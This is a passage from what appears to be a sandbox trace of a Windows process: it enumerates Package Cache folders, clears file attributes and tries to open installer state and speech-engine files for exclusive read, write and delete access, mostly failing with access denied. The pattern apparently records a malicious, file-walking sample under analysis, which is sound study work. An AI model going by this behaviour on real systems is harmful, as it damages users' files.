files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk\\m1033dsk.wih"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0146.146] GetLastError () returned 0x5 [0146.146] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.WIH", dwFileAttributes=0x20) returned 0 [0146.147] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6d58) returned 1 Thread: id = 2512 os_tid = 0x13e0 [0146.160] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xbc) returned 0xd4b9878 [0146.160] wcscpy (in: _Dest=0xd4b9878, _Source="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages" [0146.160] wcscat (in: _Dest=0xd4b9878, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\" [0146.160] wcscat (in: _Dest=0xd4b9878, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\*") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\*" [0146.160] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9050f8 [0146.160] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\*", lpFindFileData=0x9050f8 | out: lpFindFileData=0x9050f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8d9f10 [0146.161] wcscmp (_String1=".", _String2=".") returned 0 [0146.161] FindNextFileW (in: hFindFile=0x8d9f10, lpFindFileData=0x9050f8 | out: lpFindFileData=0x9050f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.161] wcscmp (_String1="..", _String2=".") returned 1 [0146.161] wcscmp (_String1="..", _String2="..") returned 0 [0146.161] FindNextFileW (in: hFindFile=0x8d9f10, lpFindFileData=0x9050f8 | out: lpFindFileData=0x9050f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcc07b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcc07b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0146.161] wcscmp (_String1="vcRuntimeAdditional_x86", _String2=".") returned 1 [0146.161] wcscmp (_String1="vcRuntimeAdditional_x86", _String2="..") returned 1 [0146.161] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xe8) returned 0xd4bb878 [0146.161] wcscpy (in: _Dest=0xd4bb878, _Source="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages" [0146.161] wcscat (in: _Dest=0xd4bb878, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\" [0146.161] wcscat (in: _Dest=0xd4bb878, _Source="vcRuntimeAdditional_x86" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86" [0151.610] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xec) returned 0x904560 [0151.610] wcscpy (in: _Dest=0x904560, _Source="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86" [0151.610] wcscat (in: _Dest=0x904560, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\" [0151.610] wcscat (in: _Dest=0x904560, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\*") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\*" [0151.610] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x911fc0 [0151.610] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\*", lpFindFileData=0x911fc0 | out: lpFindFileData=0x911fc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcc07b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcc07b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93ad38 [0151.610] wcscmp (_String1=".", _String2=".") returned 0 [0151.610] FindNextFileW (in: hFindFile=0x93ad38, lpFindFileData=0x911fc0 | out: lpFindFileData=0x911fc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcc07b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcc07b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.610] wcscmp (_String1="..", _String2=".") returned 1 [0151.610] wcscmp (_String1="..", _String2="..") returned 0 [0151.610] FindNextFileW (in: hFindFile=0x93ad38, lpFindFileData=0x911fc0 | out: lpFindFileData=0x911fc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x532ebf00, ftCreationTime.dwHighDateTime=0x1cf3dd3, ftLastAccessTime.dwLowDateTime=0x532ebf00, ftLastAccessTime.dwHighDateTime=0x1cf3dd3, ftLastWriteTime.dwLowDateTime=0x532ebf00, ftLastWriteTime.dwHighDateTime=0x1cf3dd3, nFileSizeHigh=0x0, nFileSizeLow=0x4b4520, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0151.610] wcscmp (_String1="cab1.cab", _String2=".") returned 1 [0151.610] wcscmp (_String1="cab1.cab", _String2="..") returned 1 [0151.610] FindNextFileW (in: hFindFile=0x93ad38, lpFindFileData=0x911fc0 | out: lpFindFileData=0x911fc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f9b3800, ftCreationTime.dwHighDateTime=0x1cf3dd3, ftLastAccessTime.dwLowDateTime=0x4f9b3800, ftLastAccessTime.dwHighDateTime=0x1cf3dd3, ftLastWriteTime.dwLowDateTime=0x4f9b3800, ftLastWriteTime.dwHighDateTime=0x1cf3dd3, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0151.610] wcscmp (_String1="vc_runtimeAdditional_x86.msi", _String2=".") returned 1 [0151.610] wcscmp (_String1="vc_runtimeAdditional_x86.msi", _String2="..") returned 1 [0151.611] FindNextFileW (in: hFindFile=0x93ad38, lpFindFileData=0x911fc0 | out: lpFindFileData=0x911fc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f9b3800, ftCreationTime.dwHighDateTime=0x1cf3dd3, ftLastAccessTime.dwLowDateTime=0x4f9b3800, ftLastAccessTime.dwHighDateTime=0x1cf3dd3, ftLastWriteTime.dwLowDateTime=0x4f9b3800, ftLastWriteTime.dwHighDateTime=0x1cf3dd3, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0151.611] FindClose (in: hFindFile=0x93ad38 | out: hFindFile=0x93ad38) returned 1 [0151.611] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x911fc0) returned 1 [0151.611] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x904560) returned 1 [0151.611] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4bb878) returned 1 [0151.611] FindNextFileW (in: hFindFile=0x8d9f10, lpFindFileData=0x9050f8 | out: lpFindFileData=0x9050f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcc07b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcc07b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0151.611] FindClose (in: hFindFile=0x8d9f10 | out: hFindFile=0x8d9f10) returned 1 [0151.611] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9050f8) returned 1 [0151.611] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4b9878) returned 1 [0151.611] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c6440) returned 1 Thread: id = 2513 os_tid = 0x13e4 [0146.167] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm")) returned 0x20 [0146.465] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm", dwFileAttributes=0x20) returned 0 [0146.466] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0146.466] GetLastError () returned 0x5 [0146.466] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm", dwFileAttributes=0x20) returned 0 [0146.466] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x97bee8) returned 1 Thread: id = 2514 os_tid = 0x13e8 [0146.168] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm")) returned 0x20 [0146.467] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm", dwFileAttributes=0x20) returned 0 [0146.467] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0146.467] GetLastError () returned 0x5 [0146.467] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm", dwFileAttributes=0x20) returned 0 [0146.467] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x97bf98) returned 1 Thread: id = 2515 os_tid = 0x13ec [0146.169] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm")) returned 0x20 [0146.468] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm", dwFileAttributes=0x20) returned 0 [0146.468] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0146.468] GetLastError () returned 0x5 [0146.468] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm", dwFileAttributes=0x20) returned 0 [0146.469] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x97c048) returned 1 Thread: id = 2516 os_tid = 0x13f0 [0146.170] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xbc) returned 0xd4b9940 [0146.170] wcscpy (in: _Dest=0xd4b9940, _Source="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages" [0146.170] wcscat (in: _Dest=0xd4b9940, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\" [0146.170] wcscat (in: _Dest=0xd4b9940, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\*") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\*" [0146.170] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x906b70 [0146.170] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\*", lpFindFileData=0x906b70 | out: lpFindFileData=0x906b70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabbdf20, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabbdf20, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8d9dd0 [0146.170] wcscmp (_String1=".", _String2=".") returned 0 [0146.170] FindNextFileW (in: hFindFile=0x8d9dd0, lpFindFileData=0x906b70 | out: lpFindFileData=0x906b70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabbdf20, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabbdf20, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.171] wcscmp (_String1="..", _String2=".") returned 1 [0146.171] wcscmp (_String1="..", _String2="..") returned 0 [0146.171] FindNextFileW (in: hFindFile=0x8d9dd0, lpFindFileData=0x906b70 | out: lpFindFileData=0x906b70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0146.171] wcscmp (_String1="vcRuntimeMinimum_amd64", _String2=".") returned 1 [0146.171] wcscmp (_String1="vcRuntimeMinimum_amd64", _String2="..") returned 1 [0146.171] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xe6) returned 0xd4bb968 [0146.171] wcscpy (in: _Dest=0xd4bb968, _Source="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages" [0146.171] wcscat (in: _Dest=0xd4bb968, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\" [0146.171] wcscat (in: _Dest=0xd4bb968, _Source="vcRuntimeMinimum_amd64" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64" [0151.617] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xea) returned 0x904560 [0151.617] wcscpy (in: _Dest=0x904560, _Source="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64" [0151.617] wcscat (in: _Dest=0x904560, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\" [0151.617] wcscat (in: _Dest=0x904560, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\*") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\*" [0151.617] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9050f8 [0151.617] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\*", lpFindFileData=0x9050f8 | out: lpFindFileData=0x9050f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8d9f10 [0151.617] wcscmp (_String1=".", _String2=".") returned 0 [0151.617] FindNextFileW (in: hFindFile=0x8d9f10, lpFindFileData=0x9050f8 | out: lpFindFileData=0x9050f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.618] wcscmp (_String1="..", _String2=".") returned 1 [0151.618] wcscmp (_String1="..", _String2="..") returned 0 [0151.618] FindNextFileW (in: hFindFile=0x8d9f10, lpFindFileData=0x9050f8 | out: lpFindFileData=0x9050f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x969a2800, ftCreationTime.dwHighDateTime=0x1ced4d9, ftLastAccessTime.dwLowDateTime=0x969a2800, ftLastAccessTime.dwHighDateTime=0x1ced4d9, ftLastWriteTime.dwLowDateTime=0x969a2800, ftLastWriteTime.dwHighDateTime=0x1ced4d9, nFileSizeHigh=0x0, nFileSizeLow=0xc5b25, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0151.618] wcscmp (_String1="cab1.cab", _String2=".") returned 1 [0151.618] wcscmp (_String1="cab1.cab", _String2="..") returned 1 [0151.618] FindNextFileW (in: hFindFile=0x8d9f10, lpFindFileData=0x9050f8 | out: lpFindFileData=0x9050f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a1afc00, ftCreationTime.dwHighDateTime=0x1ced4da, ftLastAccessTime.dwLowDateTime=0x5a1afc00, ftLastAccessTime.dwHighDateTime=0x1ced4da, ftLastWriteTime.dwLowDateTime=0x5a1afc00, ftLastWriteTime.dwHighDateTime=0x1ced4da, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0151.618] wcscmp (_String1="vc_runtimeMinimum_x64.msi", _String2=".") returned 1 [0151.618] wcscmp (_String1="vc_runtimeMinimum_x64.msi", _String2="..") returned 1 [0151.618] FindNextFileW (in: hFindFile=0x8d9f10, lpFindFileData=0x9050f8 | out: lpFindFileData=0x9050f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a1afc00, ftCreationTime.dwHighDateTime=0x1ced4da, ftLastAccessTime.dwLowDateTime=0x5a1afc00, ftLastAccessTime.dwHighDateTime=0x1ced4da, ftLastWriteTime.dwLowDateTime=0x5a1afc00, ftLastWriteTime.dwHighDateTime=0x1ced4da, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0151.618] FindClose (in: hFindFile=0x8d9f10 | out: hFindFile=0x8d9f10) returned 1 [0151.618] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9050f8) returned 1 [0151.618] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x904560) returned 1 [0151.618] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4bb968) returned 1 [0151.618] FindNextFileW (in: hFindFile=0x8d9dd0, lpFindFileData=0x906b70 | out: lpFindFileData=0x906b70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0151.618] FindClose (in: hFindFile=0x8d9dd0 | out: hFindFile=0x8d9dd0) returned 1 [0151.618] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x906b70) returned 1 [0151.618] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4b9940) returned 1 [0151.618] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c6500) returned 1 Thread: id = 2517 os_tid = 0x13f4 [0146.171] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm")) returned 0x20 [0146.469] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm", dwFileAttributes=0x20) returned 0 [0146.470] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, 